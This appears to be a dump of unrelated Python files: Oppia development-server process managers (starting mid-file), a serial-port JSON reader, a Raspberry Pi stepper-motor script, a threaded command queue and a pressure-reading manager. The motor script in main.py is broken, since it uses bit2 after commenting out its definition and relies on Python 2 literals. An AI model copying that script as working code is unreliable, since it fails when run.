recover_users: bool. Whether to recover users created by the previous instance of the Firebase auth emulator. Yields: psutil.Process. The Firebase emulator process. """ emulator_args = [ common.FIREBASE_PATH, 'emulators:start', '--only', 'auth', '--project', feconf.OPPIA_PROJECT_ID, '--config', feconf.FIREBASE_EMULATOR_CONFIG_PATH, ] emulator_args.extend( ['--import', common.FIREBASE_EMULATOR_CACHE_DIR, '--export-on-exit'] if recover_users else ['--export-on-exit', common.FIREBASE_EMULATOR_CACHE_DIR]) # OK to use shell=True here because we are passing string literals and # constants, so there is no risk of a shell-injection attack. proc_context = managed_process( emulator_args, human_readable_name='Firebase Emulator', shell=True) with proc_context as proc: common.wait_for_port_to_be_in_use(feconf.FIREBASE_EMULATOR_PORT) yield proc @contextlib.contextmanager def managed_elasticsearch_dev_server(): """Returns a context manager for ElasticSearch server for running tests in development mode and running a local dev server. This is only required in a development environment. Yields: psutil.Process. The ElasticSearch server process. """ # Clear previous data stored in the local cluster. if os.path.exists(common.ES_PATH_DATA_DIR): shutil.rmtree(common.ES_PATH_DATA_DIR) # -q is the quiet flag. es_args = ['%s/bin/elasticsearch' % common.ES_PATH, '-q'] # Override the default path to ElasticSearch config files. es_env = {'ES_PATH_CONF': common.ES_PATH_CONFIG_DIR} # OK to use shell=True here because we are passing string literals and # constants, so there is no risk of a shell-injection attack. proc_context = managed_process( es_args, human_readable_name='ElasticSearch Server', env=es_env, shell=True) with proc_context as proc: common.wait_for_port_to_be_in_use(feconf.ES_LOCALHOST_PORT) yield proc @contextlib.contextmanager def managed_cloud_datastore_emulator(clear_datastore=False): """Returns a context manager for the Cloud Datastore emulator. Args: clear_datastore: bool. Whether to delete the datastore's config and data before starting the emulator. Yields: psutil.Process. The emulator process. """ emulator_hostport = '%s:%d' % ( feconf.CLOUD_DATASTORE_EMULATOR_HOST, feconf.CLOUD_DATASTORE_EMULATOR_PORT) emulator_args = [ common.GCLOUD_PATH, 'beta', 'emulators', 'datastore', 'start', '--project', feconf.OPPIA_PROJECT_ID, '--data-dir', common.CLOUD_DATASTORE_EMULATOR_DATA_DIR, '--host-port', emulator_hostport, '--consistency=1.0', '--quiet' ] if clear_datastore: emulator_args.append('--no-store-on-disk') with contextlib.ExitStack() as stack: data_dir_exists = os.path.exists( common.CLOUD_DATASTORE_EMULATOR_DATA_DIR) if clear_datastore and data_dir_exists: # Replace it with an empty directory. shutil.rmtree(common.CLOUD_DATASTORE_EMULATOR_DATA_DIR) os.makedirs(common.CLOUD_DATASTORE_EMULATOR_DATA_DIR) elif not data_dir_exists: os.makedirs(common.CLOUD_DATASTORE_EMULATOR_DATA_DIR) # OK to use shell=True here because we are passing string literals and # constants, so there is no risk of a shell-injection attack. proc = stack.enter_context(managed_process( emulator_args, human_readable_name='Cloud Datastore Emulator', shell=True)) common.wait_for_port_to_be_in_use(feconf.CLOUD_DATASTORE_EMULATOR_PORT) # Environment variables required to communicate with the emulator. stack.enter_context(common.swap_env( 'DATASTORE_DATASET', feconf.OPPIA_PROJECT_ID)) stack.enter_context(common.swap_env( 'DATASTORE_EMULATOR_HOST', emulator_hostport)) stack.enter_context(common.swap_env( 'DATASTORE_EMULATOR_HOST_PATH', '%s/datastore' % emulator_hostport)) stack.enter_context(common.swap_env( 'DATASTORE_HOST', 'http://%s' % emulator_hostport)) stack.enter_context(common.swap_env( 'DATASTORE_PROJECT_ID', feconf.OPPIA_PROJECT_ID)) stack.enter_context(common.swap_env( 'DATASTORE_USE_PROJECT_ID_AS_APP_ID', 'true')) stack.enter_context(common.swap_env( 'GOOGLE_CLOUD_PROJECT', feconf.OPPIA_PROJECT_ID)) yield proc @contextlib.contextmanager def managed_redis_server(): """Run the redis server within a context manager that ends it gracefully.""" if common.is_windows_os(): raise Exception( 'The redis command line interface is not installed because your ' 'machine is on the Windows operating system. The redis server ' 'cannot start.') # Check if a redis dump file currently exists. This file contains residual # data from a previous run of the redis server. If it exists, removes the # dump file so that the redis server starts with a clean slate. if os.path.exists(common.REDIS_DUMP_PATH): os.remove(common.REDIS_DUMP_PATH) # OK to use shell=True here because we are passing string literals and # constants, so there is no risk of a shell-injection attack. proc_context = managed_process( [common.REDIS_SERVER_PATH, common.REDIS_CONF_PATH], human_readable_name='Redis Server', shell=True) with proc_context as proc: common.wait_for_port_to_be_in_use(feconf.REDISPORT) try: yield proc finally: subprocess.check_call([common.REDIS_CLI_PATH, 'shutdown', 'nosave']) def create_managed_web_browser(port): """Returns a context manager for a web browser targeting the given port on localhost. If a web browser cannot be opened on the current system by Oppia, then returns None instead. Args: port: int. The port number to open in the web browser. Returns: context manager|None. The context manager to a web browser window, or None if the current operating system does not support web browsers. """ url = 'http://localhost:%s/' % port human_readable_name = 'Web Browser' if common.is_linux_os(): if any(re.match('.*VBOX.*', d) for d in os.listdir('/dev/disk/by-id/')): return None else: return managed_process( ['xdg-open', url], human_readable_name=human_readable_name) elif common.is_mac_os(): return managed_process( ['open', url], human_readable_name=human_readable_name) else: return None @contextlib.contextmanager def managed_webpack_compiler( config_path=None, use_prod_env=False, use_source_maps=False, watch_mode=False, max_old_space_size=None): """Returns context manager to start/stop the webpack compiler gracefully. Args: config_path: str|None. Path to an explicit webpack config, or None to determine it from the other args. use_prod_env: bool. Whether to compile for use in production. Only respected if config_path is None. use_source_maps: bool. Whether to compile with source maps. Only respected if config_path is None. watch_mode: bool. Run the compiler in watch mode, which rebuilds on file change. max_old_space_size: int|None. Sets the max memory size of the compiler's "old memory" section. As memory consumption approaches the limit, the compiler will spend more time on garbage collection in an effort to free unused memory. Yields: psutil.Process. The Webpack compiler process. Raises: OSError. First build never completed. """ if config_path is not None: pass elif use_prod_env: config_path = ( common.WEBPACK_PROD_SOURCE_MAPS_CONFIG if use_source_maps else common.WEBPACK_PROD_CONFIG) else: config_path = ( common.WEBPACK_DEV_SOURCE_MAPS_CONFIG if use_source_maps else common.WEBPACK_DEV_CONFIG) compiler_args = [ common.NODE_BIN_PATH, common.WEBPACK_BIN_PATH, '--config', config_path, ] if max_old_space_size: # NOTE: --max-old-space-size is a flag for Node.js, not the Webpack # compiler, so we insert it immediately after NODE_BIN_PATH. compiler_args.insert(1, '--max-old-space-size=%d' % max_old_space_size) if watch_mode: compiler_args.extend(['--color', '--watch', '--progress']) with contextlib.ExitStack() as exit_stack: # OK to use shell=True here because we are passing string literals and # constants, so there is no risk of a shell-injection attack. proc = exit_stack.enter_context(managed_process( compiler_args, human_readable_name='Webpack Compiler', shell=True, # Capture compiler's output to detect when builds have completed. stdout=subprocess.PIPE)) if watch_mode: for line in iter(lambda: proc.stdout.readline() or None, None): common.write_stdout_safe(line) # Message printed when a compilation has succeeded. We break # after the first one to ensure the site is ready to be visited. if b'Built at: ' in line: break else: # If none of the lines contained the string 'Built at', # raise an error because a build hasn't finished successfully. raise IOError('First build never completed') def print_proc_output(): """Prints the proc's output until it is exhausted.""" for line in iter(lambda: proc.stdout.readline() or None, None): common.write_stdout_safe(line) # Start a thread to print the rest of the compiler's output to stdout. printer_thread = threading.Thread(target=print_proc_output) printer_thread.start() exit_stack.callback(printer_thread.join) yield proc @contextlib.contextmanager def managed_portserver(): """Returns context manager to start/stop the portserver gracefully. The portserver listens at PORTSERVER_SOCKET_FILEPATH and allocates free ports to clients. This prevents race conditions when two clients request ports in quick succession. The local Google App Engine server that we use to serve the development version of Oppia uses python_portpicker, which is compatible with the portserver this function starts, to request ports. By "compatible" we mean that python_portpicker requests a port by sending a request consisting of the PID of the requesting process and expects a response consisting of the allocated port number. This is the interface provided by this portserver. Yields: psutil.Popen. The Popen subprocess object. """ # TODO(#11549): Move this to top of the file. if common.PSUTIL_DIR not in sys.path: # Our unit tests already configure sys.path correctly, but the # standalone scripts do not. Because of this, the following line cannot # be covered. This is fine since we want to cleanup this code anyway in # #11549. sys.path.insert(1, common.PSUTIL_DIR) # pragma: no cover import psutil # Check if a socket file exists. This file can exist when previous instance # of the portserver did not close properly. We need to remove as otherwise # the portserver will fail to start. if os.path.exists(common.PORTSERVER_SOCKET_FILEPATH): os.remove(common.PORTSERVER_SOCKET_FILEPATH) portserver_args = [ 'python', '-m', 'scripts.run_portserver', '--portserver_unix_socket_address', common.PORTSERVER_SOCKET_FILEPATH, ] # OK to use shell=True here because we are passing string literals and # constants, so there is no risk of a shell-injection attack. proc_context = managed_process( portserver_args, human_readable_name='Portserver', shell=True) with proc_context as proc: try: yield proc finally: # Before exiting the proc_context, try to end the process with # SIGINT. The portserver is configured to shut down cleanly upon # receiving this signal. try: proc.send_signal(signal.SIGINT) except OSError: # Raises when the process has already shutdown, in which case we # can just return immediately. return # pylint: disable=lost-exception else: # Otherwise, give the portserver 10 seconds to shut down after # sending CTRL-C (SIGINT). try: proc.wait(timeout=10) except psutil.TimeoutExpired: # If the server fails to shut down, allow proc_context to # end it by calling terminate() and/or kill(). pass @contextlib.contextmanager def managed_webdriver_server(chrome_version=None): """Returns context manager to start/stop the Webdriver server gracefully. This context manager updates Google Chrome before starting the server. Args: chrome_version: str|None. The version of Google Chrome to run the tests on. If None, then the currently-installed version of Google Chrome is used instead. Yields: psutil.Process. The Webdriver process. Raises: Exception. Space instead of '\'. """ if chrome_version is None: # Although there are spaces between Google and Chrome in the path, we # don't need to escape them for Popen (as opposed to on the terminal, in # which case we would need to escape them for the command to run). chrome_command = ( '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' if common.is_mac_os() else 'google-chrome') try: output = subprocess.check_output([chrome_command, '--version']) except OSError as e: # For the error message on macOS, we need to add the backslashes in. # This is because it is likely that a user will try to run the # command on their terminal and, as mentioned above, the macOS # chrome version command has spaces in the path which need to be # escaped for successful terminal use. raise Exception( 'Failed to execute "%s --version" command. This is used to ' 'determine the chromedriver version to use. Please set the ' 'chromedriver version manually using the ' '--chrome_driver_version flag. To determine the ' 'chromedriver version to be used, please follow the ' 'instructions mentioned in the following URL:\n' 'https://chromedriver.chromium.org/downloads/version-selection' % chrome_command.replace(' ', r'\ ')) from e installed_version_parts = b''.join(re.findall(rb'[0-9.]', output)) installed_version = '.'.join( installed_version_parts.decode('utf-8').split('.')[:-1]) response = utils.url_open( 'https://chromedriver.storage.googleapis.com/LATEST_RELEASE_%s' % ( installed_version)) chrome_version = response.read().decode('utf-8') print('\n\nCHROME VERSION: %s' % chrome_version) subprocess.check_call([ common.NODE_BIN_PATH, common.WEBDRIVER_MANAGER_BIN_PATH, 'update', '--versions.chrome', chrome_version, ]) with contextlib.ExitStack() as exit_stack: if common.is_windows_os(): # NOTE: webdriver-manager (version 13.0.0) uses `os.arch()` to # determine the architecture of the operating system, however, this # function can only be used to determine the architecture of the # machine that compiled `node`. In the case of Windows, we are using # the portable version, which was compiled on `ia32` machine so that # is the value returned by this `os.arch` function. Unfortunately, # webdriver-manager seems to assume that Windows wouldn't run on the # ia32 architecture, so its help function used to determine download # link returns null for this, which means that the application has # no idea about where to download the correct version. # # https://github.com/angular/webdriver-manager/blob/b7539a5a3897a8a76abae7245f0de8175718b142/lib/provider/chromedriver.ts#L16 # https://github.com/angular/webdriver-manager/blob/b7539a5a3897a8a76abae7245f0de8175718b142/lib/provider/geckodriver.ts#L21 # https://github.com/angular/webdriver-manager/blob/b7539a5a3897a8a76abae7245f0de8175718b142/lib/provider/chromedriver.ts#L167 # https://github.com/nodejs/node/issues/17036 regex_pattern = re.escape('this.osArch = os.arch();') arch = 'x64' if common.is_x64_architecture() else 'x86' replacement_string = 'this.osArch = "%s";' % arch exit_stack.enter_context(common.inplace_replace_file_context( common.CHROME_PROVIDER_FILE_PATH, regex_pattern, replacement_string)) exit_stack.enter_context(common.inplace_replace_file_context( common.GECKO_PROVIDER_FILE_PATH, regex_pattern, replacement_string)) # OK to use shell=True here because we are passing string literals and # constants, so there is no risk of a shell-injection attack. proc = exit_stack.enter_context(managed_process([ common.NODE_BIN_PATH, common.WEBDRIVER_MANAGER_BIN_PATH, 'start', '--versions.chrome', chrome_version, '--quiet', '--standalone', ], human_readable_name='Webdriver manager', shell=True)) common.wait_for_port_to_be_in_use(4444) yield proc @contextlib.contextmanager def managed_protractor_server( suite_name='full', dev_mode=True, debug_mode=False, sharding_instances=1, **kwargs): """Returns context manager to start/stop the Protractor server gracefully. Args: suite_name: str. The suite name whose tests should be run. If the value is `full`, all tests will run. dev_mode: bool. Whether the test is running on dev_mode. debug_mode: bool. Whether to run the protractor tests in debugging mode. Read the following instructions to learn how to run e2e tests in debugging mode: https://www.protractortest.org/#/debugging#disabled-control-flow. sharding_instances: int. How many sharding instances to be running. **kwargs: dict(str: *). Keyword arguments passed to psutil.Popen. Yields: psutil.Process. The protractor process. Raises: ValueError. Number of sharding instances are less than 0. """ if sharding_instances <= 0: raise ValueError('Sharding instance should be larger than 0') protractor_args = [ common.NODE_BIN_PATH, # This flag ensures tests fail if the `waitFor()` calls time out. '--unhandled-rejections=strict', common.PROTRACTOR_BIN_PATH, common.PROTRACTOR_CONFIG_FILE_PATH, '--params.devMode=%s' % dev_mode, '--suite', suite_name, ] if debug_mode: # NOTE: This is a flag for Node.js, not Protractor, so we insert it # immediately after NODE_BIN_PATH. protractor_args.insert(1, '--inspect-brk') if sharding_instances > 1: protractor_args.extend([ '--capabilities.shardTestFiles=True', '--capabilities.maxInstances=%d' % sharding_instances, ]) # OK to use shell=True here because we are passing string literals and # constants, so there is no risk of a shell-injection attack. managed_protractor_proc = managed_process( protractor_args, human_readable_name='Protractor Server', shell=True, **kwargs) with managed_protractor_proc as proc: yield proc
serial_io.py
from __future__ import division import json import time import serial as _serial import platform import sys if sys.version_info >= (3, 0): import queue else: import Queue as queue from threading import Event, Thread from serial.tools.list_ports import comports from . import IOHandler try: JSONDecodeError = json.decoder.JSONDecodeError except AttributeError: JSONDecodeError = ValueError class Serial(IOHandler): poll_frequency = 200 @classmethod def available_hosts(cls): devices = comports(include_links=True) return [d.device for d in devices] @classmethod def is_host_compatible(cls, host): return host in cls.available_hosts() def __init__(self, host, baudrate=1000000): self._serial = _serial.Serial(host, baudrate) self._serial.flush() self._msg = queue.Queue(100) self._running = True self._poll_loop = Thread(target=self._poll) self._poll_loop.daemon = True self._poll_loop.start() def is_ready(self): if self._serial.in_waiting == 0: return False try: self.read() return True except (UnicodeDecodeError, JSONDecodeError): return False def recv(self): return self._msg.get() def write(self, data): self._serial.write(data + '\r'.encode() + '\n'.encode()) #print(data + '\r'.encode()) def close(self): self._running = False self._poll_loop.join() self._serial.close() def _poll(self): def extract_line(s): j = s.find(b'\n') if j == -1: return b'', s # Sometimes the begin of serial data can be wrong remove it # Find the first '{' x = s.find(b'{') if x == -1: return b'', s[j + 1:] return s[x:j], s[j + 1:] period = 1 / self.poll_frequency buff = b'' while self._running: to_read = self._serial.in_waiting if to_read == 0: time.sleep(period) continue s = self._serial.read(to_read) buff = buff + s while self._running: line, buff = extract_line(buff) if not len(line): break if self._msg.full(): self._msg.get() self._msg.put(line)
main.py
#!/usr/bin/python from Adafruit_MotorHAT import Adafruit_MotorHAT, Adafruit_DCMotor, Adafruit_StepperMotor import time import atexit import threading import random import RPi.GPIO as gpio rdy = 4 #grey RB7 bit0 = 17 #purple RB4 bit1 = 18 #blue RB3 #bit2 = 27 #white RB5 ack = 22 #green RB8 gpio.setmode(gpio.BCM) gpio.setup(rdy,gpio.IN,pull_up_down=gpio.PUD_DOWN) gpio.setup(bit0,gpio.IN,pull_up_down=gpio.PUD_DOWN) gpio.setup(bit1,gpio.IN,pull_up_down=gpio.PUD_DOWN) gpio.setup(bit2,gpio.IN,pull_up_down=gpio.PUD_DOWN) gpio.setup(ack,gpio.OUT) # create a default object, no changes to I2C address or frequency mh = Adafruit_MotorHAT() # create empty threads (these will hold the stepper 1 and 2 threads) down = Adafruit_MotorHAT.BACKWARD right = Adafruit_MotorHAT.BACKWARD up = Adafruit_MotorHAT.FORWARD left = Adafruit_MotorHAT.FORWARD stepstyles = [Adafruit_MotorHAT.SINGLE, Adafruit_MotorHAT.DOUBLE, Adafruit_MotorHAT.INTERLEAVE, Adafruit_MotorHAT.MICROSTEP] # Tuples for each setting (stepper1 step, stepper2 step, stepper1 dir, stepper2 dir) bitDict = {} bitDict[11] = 0,130,right,stepstyles[1] bitDict[10] = 0,130,left,stepstyles[1] bitDict[01] = 210,0,down,stepstyles[1] bitDict[00] = 210,0,up,stepstyles[1] myStepper0 = mh.getStepper(200, 1) # 200 steps/rev, motor port #1 myStepper1 = mh.getStepper(200, 2) # 200 steps/rev, motor port #1 myStepper0.setSpeed(60) # 30 RPM myStepper1.setSpeed(60) # 30 RPM #111 begin, 001,010 def read(myStepper0, myStepper1): num = 10*gpio.input(bit1)+gpio.input(bit0) command = bitDict.get(num) print("command"+str(num) +str(command)) start_time=time.time() st0 = threading.Thread() st1 = threading.Thread() #while(time.time()-start_time<10 and (not st0.isAlive() or not st1.isAlive())): print("in thread creation") print(type(myStepper0)) print(type(command[0])) print(type(command[1])) print(type(stepstyles[1])) print(type(command[2])) print(type(command[3])) st0 = threading.Thread(target=stepper_worker, args=(myStepper0, command[0], command[2], stepstyles[1],)) st0.start() st1 = threading.Thread(target=stepper_worker, args=(myStepper1, command[1], command[2], stepstyles[1],)) st1.start() st0.join() st1.join() #myStepper0.step(command[0],command[2],command[-1]) #myStepper1.step(command[1],command[3],command[-1]) time.sleep(2) gpio.output(ack,1) while (gpio.input(rdy)==1): print("waiting for rdy to go low") pass gpio.output(ack,0) # recommended for auto-disabling motors on shutdown! #gpio.add_event_detect(rdy, gpio.RISING, callback=read) def turnOffMotors(): mh.getMotor(1).run(Adafruit_MotorHAT.RELEASE) mh.getMotor(2).run(Adafruit_MotorHAT.RELEASE) mh.getMotor(3).run(Adafruit_MotorHAT.RELEASE) mh.getMotor(4).run(Adafruit_MotorHAT.RELEASE) def stepper_worker(stepper, numsteps, direction, style): print("Steppin!"+str(stepper)) stepper.step(numsteps, direction, style) print("Done") atexit.register(turnOffMotors) try: while (True): while (gpio.input(rdy)==1): read(myStepper0, myStepper1) #if not st0.isAlive(): # print("Stepper 1"), # dir = Adafruit_MotorHAT.BACKWARD # print("forward"), # randomsteps = 5000 # print("%d steps" % randomsteps) # st0 = threading.Thread(target=stepper_worker, args=(myStepper0, randomsteps, dir, stepstyles[1],)) # st0.start() # if not st1.isAlive(): # print("Stepper 2"), # dir = Adafruit_MotorHAT.BACKWARD # print("backward"), # randomsteps = 5000 # print("%d steps" % randomsteps) # st1 = threading.Thread(target=stepper_worker, args=(myStepper1, randomsteps, dir, stepstyles[1],)) # st1.start() # Small delay to stop from constantly polling threads (see: https://forums.adafruit.com/viewtopic.php?f=50&t=104354&p=562733#p56273 except KeyboardInterrupt: gpio.cleanup() finally: gpio.cleanup()
commands.py
from functools import partial from concurrent.futures import ThreadPoolExecutor import traceback import threading import time InitFunctions = [] stopped = False ThreadPool = ThreadPoolExecutor(max_workers=64) def delay_pyle_command(timer, fun): def timed_cmd(): time.sleep(timer) fun() ThreadPool.submit(timed_cmd) def queue_pyle_command(fun): ThreadPool.submit(fun) class PyleCommand: @staticmethod def Threaded(func): cmd = PyleCommand(func) cmd.threaded = True return cmd def __init__(self, func): self.func = func self.threaded = False def __call__(self, *args, **kwargs): cmd = PyleCommand( partial(self.func, *args, **kwargs) ) cmd.threaded = self.threaded return cmd def execute_on_thread(self): try: self.func() except Exception as ex: traceback.print_exc() def run(self): if self.threaded: ThreadPool.submit(self.execute_on_thread) else: self.func() def run_pyle_command(fun): if isinstance(fun, PyleCommand): fun.run() else: fun() def PyleInit(fun): InitFunctions.append(fun) return fun def PyleThread(timer): def TickDecorator(func): def TickThread(): global stopped while not stopped: func() time.sleep(timer) def ThreadInit(): threading.Thread(target=TickThread, daemon=True).start() InitFunctions.append(ThreadInit) return TickDecorator class CommandQueue: def __init__(self): self.queuedFunctions = [] self.queue_lock = threading.RLock() self.queue_event = threading.Event() self.stopped = False threading.Thread(target=self.process_commands_thread, daemon=True).start() def stop(self): self.stopped = True self.queue_event.set() def queue_command(self, fun): with self.queue_lock: self.queuedFunctions.append(fun) self.queue_event.set() def process_commands_thread(self): global stopped while not stopped and not self.stopped: self.queue_event.wait() run = None with self.queue_lock: run = list(self.queuedFunctions) self.queuedFunctions = [] self.queue_event.clear() try: for cmd in run: run_pyle_command(cmd) except Exception as ex: traceback.print_exc()
manager.py
from threading import Thread from datetime import datetime import time import os import cv2 from settings import INCHES_TO_CENIMETERS, Reading PPEAK_EXPIRATION_SECONDS = 3.0 SAMPLE_RATE_WINDOW = 5.0 READING_RELEVANCE = max([PPEAK_EXPIRATION_SECONDS, SAMPLE_RATE_WINDOW]) class Manager(): def __init__(self): self.readings = [] Thread(target=self.main_loop, args=[]).start() def setName(self, name): self.name = name def setSensor(self, sensor): self.sensor = sensor def setGui(self, gui): self.gui = gui def setNetwork(self, network): self.network = network def updateReadings(self, latestPressureValueInInches, stamp=None): now = datetime.now() self.readings = [Reading(latestPressureValueInInches * INCHES_TO_CENIMETERS, stamp or now)] + self.readings self.readings = [r for r in self.readings if ((now - r.stamp).total_seconds() < READING_RELEVANCE)] def main_loop(self): while True: self.updateReadingsSync() time.sleep(0.01) def updateReadingsSync(self): readings = self.readings if (len(readings) == 0): return latest = readings[0] latestPressureValue = latest.value latestStamp = latest.stamp now = datetime.now() ppeak_readings = [r for r in readings if ((now - r.stamp).total_seconds() < PPEAK_EXPIRATION_SECONDS)] latestPPeakValue = max([r.value for r in ppeak_readings]) sample_rate_readings = [r for r in readings if ((now - r.stamp).total_seconds() < SAMPLE_RATE_WINDOW)] if len(sample_rate_readings) < 2: sampleRate = 0 else: stamps_only = [r.stamp for r in sample_rate_readings] sampleRate = (max(stamps_only) - min(stamps_only)).total_seconds() / (len(sample_rate_readings) - 1) newState = { 'latestPressureValue': latestPressureValue, 'latestPPeakValue': latestPPeakValue, 'sampleRate': sampleRate, 'timestamp': latestStamp } self.network.updateReadings(newState) self.gui.updateReadings(newState) def shutdown(self): self.gui.shutdown() self.sensor.shutdown() os._exit(getattr(os, 'EX_OK', 0))